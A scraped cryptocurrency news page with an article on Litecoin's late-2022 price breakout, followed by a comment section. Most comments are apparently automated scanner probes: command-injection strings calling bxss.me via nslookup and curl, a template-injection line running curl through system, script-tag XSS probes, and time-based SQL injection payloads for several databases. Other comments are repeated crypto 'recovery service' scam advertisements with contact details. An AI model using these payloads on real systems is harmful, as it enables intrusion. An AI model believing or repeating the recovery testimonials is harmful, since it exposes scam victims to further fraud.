This site uses cookies. Browsing the site, you agree to the use of cookies. If you need more information, please visit the Cookies Policy page

Русский

English

Enter / Registration

Cryptocurrencies: 9544 / Markets: 113007

Market Cap: $ 3 691 605 128 269 / 24h Vol: $ 296 812 996 119 / BTC Dominance: 59.836090041736%

Н News

Litecoin eyes $100 after 'rare' LTC price breakout

840_aHR0cHM6Ly9zMy5jb2ludGVsZWdyYXBoLmNvbS91cGxvYWRzLzIwMjItMTIvOGY4MGYzZjMtMDllMi00NjYxLTkzZmEtZDFmNzFhM2Y3MzMwLmpwZw==.jpg

MoneyGram's decision to integrate Litecoin into its crypto services and the coin's upcoming halving event has served as catalysts behind LTC's price rally.

Litecoin (LTC) could rise another 20% amid a rare trend reversal breakout that has already resulted in LTC outperforming most crypto assets in recent days.

LTC's not-so-bearish symmetrical triangle

LTC's price broke out of what earlier appeared to be a bearish symmetrical triangle.

Symmetrical triangles are trend continuation patterns, meaning breaking out of their range typically prompts the price to move in the direction of their previous trend.

Litecoin formed a symmetrical triangle pattern between May and November after dropping 70% to nearly $40 in the prior trading sessions. Ideally, the LTC/USD pair could have resolved the pattern by breaking below its lower trendline.

But instead, it broke above the upper trendline in early November, as shown below. According to Edwards and Magee, the authors of Technical Analysis of Stock Trend, the breakout move is rare, given only 25% of symmetrical triangle breakouts have historically resulted in trend reversals.

LTC/USD three-day price chart. Source: TradingView

Litecoin followed up with its symmetrical triangle reversal move decisively and now eyes a run-up toward $100, or another 20% by December 2022.

This upside target is measured after calculating the distance between the triangle's upper and lower trendline and adding the output to the breakout point (around $58 in Litecoin's case).

Why is Litecoin price up?

Litecoin's symmetrical triangle breakout move started in late October. It coincided with MoneyGram's announcement that it would enable users to purchase, store, and use LTC alongside Bitcoin (BTC) and Ether (ETH) for payments.

LTC/USD three-day price chart. Source: TradingView

The LTC breakout lost momentum due to the FTX collapse in the first week of November and its negative impact on the broader crypto market. But, Litecoin resumed its upward trend amid speculations about its reward halving in the summer of 2023.

"Litecoin tends to rally in the months leading up to the halving," noted market analyst, The Digital Trend, in his SeekingAlpha op-ed, adding:

"Then, the price tends to stabilize before entering a lengthier and more substantial bull market. Then, around halfway through the cycle, Litecoin enters a bearish/distribution phase like Bitcoin."

LTC/USD price performance before and after halving. Source: TradingView/The Digital Trend

Litecoin's price could reach $180 by July 2023 if the halving fractal plays out as intended, as Cointelegraph covered here.

The bearish take

Conversely, Litecoin can see a short-term correction as its three-day relative strength index (RSI) is turning "overbought." The trigger for the downside move could be the RSI crossing above 70 from its current reading of 68, as shown below.

LTC/USD three-day price chart. Source: TradingView

LTC's price downside target comes to be at around $40 in the event of a correction trend, down about 50% from current price levels.

This article does not contain investment advice or recommendations. Every investment and trading move involves risk, and readers should conduct their own research when making a decision.

Source

Category

News

Date

Dec 5, 2022

09.10.25 08:08 pHqghUme

is it ok if I upload an image?
09.10.25 08:08 pHqghUme

(nslookup -q=cname hitrirljyvgim44c57.bxss.me||curl hitrirljyvgim44c57.bxss.me))
09.10.25 08:08 pHqghUme

$(nslookup -q=cname hitnaasjhmbqf44699.bxss.me||curl hitnaasjhmbqf44699.bxss.me)
09.10.25 08:08 pHqghUme

&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&'\"`0&nslookup -q=cname hitdjgcbtalqm528b9.bxss.me&`'
09.10.25 08:08 pHqghUme

&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&'\"`0&(nslookup -q=cname hitgrfzhgegxdb7bdf.bxss.me||curl hitgrfzhgegxdb7bdf.bxss.me)&`'
09.10.25 08:08 pHqghUme

|(nslookup -q=cname hitfmymffseet6e8b2.bxss.me||curl hitfmymffseet6e8b2.bxss.me)
09.10.25 08:08 pHqghUme

`(nslookup -q=cname hitohduurqhba06a59.bxss.me||curl hitohduurqhba06a59.bxss.me)`
09.10.25 08:08 pHqghUme

is it ok if I upload an image?
09.10.25 08:08 pHqghUme

;(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)|(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)&(nslookup -q=cname hitieevbtlzep92252.bxss.me||curl hitieevbtlzep92252.bxss.me)
09.10.25 08:08 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitanwkhusxwr37069.bxss.me||curl${IFS}hitanwkhusxwr37069.bxss.me)
09.10.25 08:09 pHqghUme

&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitochckpfbtw00d29.bxss.me||curl${IFS}hitochckpfbtw00d29.bxss.me)&`'
09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

To join the Chat, you need a free pro-blockchain.com account. Enter Registration

Н News

Litecoin eyes $100 after 'rare' LTC price breakout

LTC's not-so-bearish symmetrical triangle

Why is Litecoin price up?

The bearish take

Similar news

XRP reclaims $2.40 after 21% crash – Is $3 retest possible?

How much Bitcoin will you need to retire? This new calculator will tell you

Solana – How $3.7M in liquidations put SOL’s KEY level at risk!

Foxsy AI Strengthens Position in Web3 Gaming and Robotics With Key Partnerships

$9.4B in liquidations over 24 Hours triggers ‘2021 type situation for altcoins’

Solana Price Prediction. SOL Holds $180 Support As Network Resilience Draws Buyer Interest

Н News

Litecoin eyes $100 after 'rare' LTC price breakout

LTC's not-so-bearish symmetrical triangle

Why is Litecoin price up?

The bearish take

Similar news

XRP reclaims $2.40 after 21% crash – Is $3 retest possible?

How much Bitcoin will you need to retire? This new calculator will tell you

Solana – How $3.7M in liquidations put SOL’s KEY level at risk!

Foxsy AI Strengthens Position in Web3 Gaming and Robotics With Key Partnerships

$9.4B in liquidations over 24 Hours triggers ‘2021 type situation for altcoins’

Solana Price Prediction. SOL Holds $180 Support As Network Resilience Draws Buyer Interest

Stay in touch